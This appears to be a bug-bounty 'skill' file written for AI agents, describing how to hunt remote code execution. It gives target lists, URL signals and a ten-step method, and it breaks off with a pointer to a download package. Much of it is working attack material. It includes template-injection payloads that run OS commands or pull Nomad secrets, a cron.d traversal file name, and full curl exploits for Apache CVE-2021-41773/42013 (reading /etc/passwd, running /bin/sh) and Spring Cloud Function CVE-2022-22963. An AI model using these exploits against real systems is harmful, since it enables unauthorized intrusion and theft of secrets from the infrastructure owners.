hunt-rce – Security skill for AI agents

When to Use

Use when the target has any endpoint that processes user-controlled input through an execution layer — template engines, shell commands, YAML/XML parsers, file paths used in operations, package resolution, or configuration files. RCE is the highest-payout vulnerability class because it grants direct execution control over target infrastructure. Every admin/management console, template/preview endpoint, upload processor, deserialization sink, and dependency resolver is a candidate. Highest-value targets: enterprise server products (GHES, self-hosted GitLab), supply chain/package registries, cloud-native infrastructure, and admin/management consoles.

Crown Jewel Targets

RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:

Highest-paying asset types:

• Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
• Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
• Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
• Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
• Admin/management consoles — template injection in configuration panels reaches root with a single payload

Why this class pays most:

• Blast radius is infrastructure-wide, not user-scoped
• Proof-of-concept is unambiguous — shell output is undeniable
• Fix requires architectural changes, not just a patch
• Programs cannot afford false negatives on RCE

---

Attack Surface Signals

URL Patterns

/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=

Response Headers / Tech Stack Signals

X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection

JavaScript / Frontend Signals

// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution

Tech Stack Signals

| Signal | RCE Vector |

|--------|-----------|

| nomad in config UI | Template injection → {{ ... }} |

| syslog-ng config editable | Config injection → program() destination |

| collectd config editable | Plugin exec injection |

| SnakeYAML in classpath | !!javax.script.ScriptEngineManager [...] |

| npm package.json internal scope | Dependency confusion |

| ingress-nginx annotations | Path field regex bypass |

---

Step-by-Step Hunting Methodology

1. Map the execution contexts first. Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.

2. Enumerate admin/management interfaces. Crawl for /management-console, /admin, /_internal, /setup, /config. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.

3. Check template injection in every config field. In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit {{7*7}}, ${7*7}, <%= 7*7 %>. Look for 49 in responses, logs, or DNS callbacks.

4. Test YAML/XML/serialized input for code execution. Any endpoint accepting Content-Type: application/yaml or application/xml:

• SnakeYAML: submit !!javax.script.ScriptEngineManager gadget
• Ruby YAML: submit !ruby/object:Gem::Installer gadget
• REXML: submit billion-laughs / quadratic blowup XML

5. Hunt dependency confusion. For every npm/pip/gem internal package name visible in JS bundles, error messages, or package.json in public repos — register a higher-versioned package on the public registry pointing to a canary callback.

6. Check file path operations for traversal → execution. ActiveStorage, file upload handlers, symlink operations: submit ../../../etc/cron.d/shell as filename. Confirm write then trigger execution.

7. Audit Kubernetes/cloud-native surfaces. Run kubectl against any exposed API server. Check ingress annotations, especially nginx.ingress.kubernetes.io/configuration-snippet and spec.rules.http.paths.path for Lua/regex injection.

8. Test OAuth redirect URI and URL scheme handlers. Mobile apps processing javascript: or intent:// URIs via OAuth redirect may execute JavaScript. Try javascript:alert(document.cookie) and custom scheme URIs.

9. Verify with out-of-band callbacks. Never rely solely on visible output. Use Burp Collaborator, interactsh, or canarytokens.org DNS tokens. Blind RCE is common in backend processors.

10. Chain privileges. A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"

---

Payload & Detection Patterns

Template Injection Probes

# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}

Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)

Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:

• Alias without Options +ExecCGI (e.g. /icons/) → arbitrary file read only
• Alias with Options +ExecCGI (e.g. /cgi-bin/) → arbitrary code execution

Version fingerprint:

curl --max-time 30 --connect-timeout 10 -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched:    Apache/2.4.51+

File-read test (any alias):

curl --max-time 30 --connect-timeout 10 --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default

RCE test (cgi-enabled alias only):

curl --max-time 30 --connect-timeout 10 --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on /icons/ should always be escalated by re-probing /cgi-bin/ (and any other alias visible from <Directory> blocks in the server-info disclosure or response patterns). See triage-validation Pre-Severity Gate.

Spring Cloud Function SpEL injection (CVE-2022-22963)

Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the spring.cloud.function.routing-expression header as a SpEL expression on the /functionRouter endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because /functionRouter auto-registers and devs don't add an explicit gate.

Detection:

• Spring-style port 8080 with /uppercase, /lowercase, or arbitrary single-word function endpoints responding 200
• Confirm with curl --max-time 30 --connect-timeout 10 -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" → returns TEST
• Version banner via /actuator/info or response headers

Exploit:

curl --max-time 30 --connect-timeout 10 -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

The new String[]{"...", "..."} array form avoids shell-quoting issues that break the more common .exec("id") form when the SpEL header contains parentheses or quotes.

Generalizes to: any

… (full content is in the download package)